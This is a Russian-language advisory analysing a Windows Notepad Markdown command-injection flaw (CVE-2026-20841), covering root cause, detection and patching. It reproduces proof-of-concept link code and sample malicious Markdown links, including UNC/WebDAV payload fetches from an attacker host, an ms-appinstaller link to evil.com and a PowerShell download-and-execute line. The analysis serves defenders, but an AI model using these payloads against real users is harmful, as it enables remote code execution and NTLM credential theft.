Уязвимость BDU:2026-01742 (CVE-2026-20841) Notepad Windows
В феврале 2026 года Microsoft выпустила исправление критической уязвимости в приложении «Блокнот» (Notepad), поставляемый через Microsoft Store. Уязвимость BDU:2026-01742 (CVE-2026-20841) связана с внедрением команды (command injection) в механизме обработки Markdown-разметки. Суть проблемы заключается в том, что Notepad не осуществляет должную фильтрацию URI-схем при обработке кликабельных ссылок в Markdown-файлах, что позволяет злоумышленнику выполнить произвольный код на системе жертвы. Проблема затрагивает версии Notepad до 11.2510 включительно, в то время как классическая версия Notepad.exe, входящая в состав Windows, не подвержена данной уязвимости.
Анализ уязвимости
Уровень опасности: 7.8 (HIGH) по вектору CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Вектор атаки:
- AV:L (Вектор атаки: локальный)
- AC:L (Сложность атаки: низкая)
- PR:N (Необходимые привилегии: отсутствуют)
- UI:R (Взаимодействие с пользователем: требуется)
- S:U (Влияние на изоляцию: не оказывает)
- C:H (Влияние на конфиденциальность: высокое)
- I:H (Влияние на целостность: высокое)
- A:H (Влияние на доступность: высокое)
Условия эксплуатации
Для успешной реализации атаки необходимо соблюдение нескольких условий:
-
Наличие уязвимой версии Notepad — версии 11.2508 и ниже, установленной через Microsoft Store. Классический Notepad.exe не подвержен уязвимости.
-
Открытие вредоносного Markdown-файла — жертва должна открыть .md файл в уязвимой версии Notepad.
-
Клик по ссылке — пользователь должен нажать на ссылку внутри документа, при этом в некоторых сценариях требуется удерживать клавишу Ctrl (Ctrl+Click).
-
Наличие интерпретатора для определенных типов файлов — для беззвучного выполнения некоторых типов полезной нагрузки требуется наличие установленного Python (для .py файлов) или Java (для .jar).
-
Отсутствие или возможность обхода Mark of the Web (MoTW) — при загрузке файлов из интернета Windows устанавливает специальную метку (ZoneID=3), которая может инициировать предупреждение безопасности при попытке запуска. Злоумышленники обходят это ограничение через использование WebDAV и SMB (UNC-пути).
Важно подчеркнуть, атака использования социальной инженерии для убеждения жертвы открыть файл и кликнуть ссылку.
Технический анализ уязвимости
Уязвимость кроется в функции обработки кликов по ссылкам в Markdown-документах. Согласно исследованию TrendAI Research и Delta Obscura, ключевая функция, ответственная за обработку ссылок — sub_140170F60(). Эта функция передает значение ссылки в Windows API ShellExecuteExW() после выполнения минимальной фильтрации.
Проблема заключается в том, что фильтрация ограничивается удалением только начальных и конечных символов обратной косой черты и прямой косой черты. При этом не происходит проверки URI-схемы ссылки, что позволяет использовать любые зарегистрированные в системе протоколы, включая:
-
file://— для доступа к локальным файлам и UNC-путям -
ms-appinstaller://— для установки приложений из пакетов .appx/.msix -
Любые пользовательские протоколы, зарегистрированные установленными приложениями

Функция ShellExecuteExW() является мощным механизмом Windows для запуска приложений, связанных с определенными типами файлов или протоколами. Отсутствие проверки со стороны Notepad означает, что любой зарегистрированный в системе протокол может быть вызван без каких-либо предупреждений со стороны самого приложения.
Особенности эксплуатации через UNC-пути
Наибольший интерес для злоумышленников представляет использование протокола file:// в сочетании с UNC-путями (Universal Naming Convention). Конструкция file:///\\attacker@port\DavWWWRoot\payload.py заставляет Windows обращаться к SMB-серверу (порт 445) или WebDAV-серверу (порт 80/443), размещенному злоумышленником, для получения файла полезной нагрузки.
Особенность такого подхода заключается в том, что при обращении к удаленному ресурсу через UNC-путь Windows автоматически аутентифицируется на сервере, передавая хеш пароля текущего пользователя (NTLM-хеш), что может быть использовано для дальнейшего развития атаки (NTLM-relay). Кроме того, файлы, загруженные через SMB/WebDAV, не получают метку Mark of the Web, что позволяет обойти стандартные предупреждения безопасности Windows.
Анализ кода эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости CVE-2026-20841 (BDU:2026-01742). Скрипты poc.py и poc.js демонстрируют генерацию вредоносного Markdown-файла.
Формирование вредоносной ссылки
Ключевой фрагмент кода на Python:
link = f'file:///\\\\{host}@{port}\\DavWWWRoot\\{payload_path}'
Разберем эту строку по частям:
-
file:///— схема протокола, которая указывает Windows на необходимость обращения к файловой системе. -
\\\\{host}@{port}— формирование UNC-пути. Обратите внимание на экранирование: в итоговой строке будет\\attacker@5005. Двойная обратная косая черта в начале указывает на сетевой ресурс. -
\\DavWWWRoot— специальный виртуальный каталог, используемый в IIS для WebDAV. При обращении к этому ресурсу Windows автоматически инициирует подключение к WebDAV-серверу. -
\\{payload_path}— путь к файлу полезной нагрузки на сервере злоумышленника.
Функция generate_poc() создает Markdown-файл следующего содержания:
# CVE-2026-20841 PoC [Open](file:///\\attacker@5005\DavWWWRoot\payload.py)
При открытии этого файла в Notepad пользователь увидит кликабельную ссылку "Open". Нажатие на эту ссылку (в некоторых версиях с зажатым Ctrl) приведет к вызову ShellExecuteExW() с указанным URI.
Вспомогательные полезные нагрузки
Примеры payload-файлов (hello.vbs и hello.py) демонстрируют минимальный код для подтверждения выполнения:
import ctypes ctypes.windll.user32.MessageBoxW(None, 'CVE-2026-20841', 'PoC', 0)
Этот скрипт выводит диалоговое окно с текстом "CVE-2026-20841". Важно отметить, что файлы с расширением .py выполняются без предупреждений Windows только при наличии установленного Python. В то же время файлы с расширениями .exe, .vbs, .lnk инициируют предупреждение безопасности.
Возможные векторы атаки
1. Удаленная полезная нагрузка через file:/// и UNC
Наиболее гибкий вектор, позволяющий злоумышленнику доставить произвольный файл на систему жертвы:
[Download and Execute](file:///\\192.168.1.100@5005\DavWWWRoot\malware.py)
При клике Windows:
-
Устанавливает соединение с SMB/WebDAV-сервером по указанному адресу
-
Загружает файл
malware.py -
Выполняет его, если Python установлен в системе
2. Установка вредоносных приложений через ms-appinstaller://
Этот вектор позволяет устанавливать произвольные пакеты приложений без участия пользователя:
[Install App](ms-appinstaller://?source=https://evil.com/malicious.appx)
При клике Windows запускает App Installer, который загружает и устанавливает указанный пакет. Установка происходит в фоновом режиме, без дополнительных предупреждений.
3. Выполнение локальных исполняемых файлов
[Run System Tool](file://C:/windows/system32/cmd.exe)
Этот вектор позволяет запускать любые исполняемые файлы, уже присутствующие в системе. В сочетании с аргументами командной строки (которые также могут быть переданы) злоумышленник может выполнить сложные цепочки атак:
[Execute PowerShell](file://C:/windows/system32/cmd.exe?/c+powershell+-Command+Invoke-Expression+(New-Object+Net.WebClient).DownloadString('http://evil.com/script.ps1'))
4. Использование других зарегистрированных протоколов
Злоумышленники могут использовать протоколы, зарегистрированные другими приложениями. Например, если в системе установлен WinSCP, будет доступен протокол sftp:; для Adobe Acrobat — acrobat:. Исследователи также отмечают возможность использования протоколов ms-*, таких как ms-mmsys:, msteams: для Microsoft Teams или odopen: для OneDrive.
Что может получить злоумышленник
Успешная эксплуатация уязвимости позволяет злоумышленнику выполнить произвольный код в контексте текущего пользователя. В зависимости от привилегий учетной записи, возможны следующие сценарии:
-
При наличии прав администратора — полное нарушение конфиденциальности, целостности и доступности системы. Злоумышленник может установить постоянное присутствие, отключить защитное ПО, изменить системные настройки, получить доступ к данным.
-
При стандартных правах пользователя — выполнение кода с ограниченными привилегиями, но этого достаточно для:
-
Сбора учетных данных из браузеров, почтовых клиентов, VPN-клиентов
-
Кражей документов и файлов, доступных пользователю
-
Использования системы как плацдарма для дальнейшего распространения по сети (боковое перемещение)
-
Установки программ в директории пользователя
-
Внедрения в процессы автозагрузки пользователя
-
-
В корпоративной среде — получение доступа к внутренним ресурсам, возможность сбора данных из корпоративных приложений, компрометация учетных записей Active Directory через NTLM-relay атаки при использовании SMB-вектора.
Методы обнаружения атаки
Мониторинг процессов
Основной индикатор компрометации — появление дочерних процессов, запущенных notepad.exe. В нормальной работе Notepad не создает дочерние процессы, поэтому появление таких процессов, как cmd.exe, powershell.exe, python.exe, wscript.exe, должно вызывать подозрения.
Мониторинг сетевой активности
При использовании вектора file:/// с UNC-путями Notepad инициирует сетевые подключения к SMB (порт 445) или WebDAV (порты 80, 443). Мониторинг неожиданных исходящих подключений к внешним ресурсам на эти порты может указывать на попытку эксплуатации.
Журналы Windows
Включение расширенного аудита процессов с записью командной строки позволяет обнаруживать попытки эксплуатации.
Способы защиты
Приоритетные меры
-
Обновление Notepad до версии 11.2510 или новее.
-
Отключение рендеринга Markdown в Notepad.
-
Изменение ассоциации файлов .md. Назначить другой текстовый редактор (например, Notepad++ или VS Code) для открытия Markdown-файлов по умолчанию.
Заключение
BDU:2026-01742 (CVE-2026-20841) является наглядным примером того, как расширение функциональности привычных приложений может создавать новые векторы атак. Уязвимость в Notepad демонстрирует критическую важность правильной обработки пользовательского ввода и фильтрации URI-схем в приложениях, работающих с внешними данными.
Несмотря на необходимость взаимодействия с пользователем и наличие ограничений (предупреждения для опасных расширений), данная уязвимость представляет реальную угрозу, особенно в средах, где установлены интерпретаторы (.py, .jar) или используются решения, расширяющие зарегистрированные протоколы.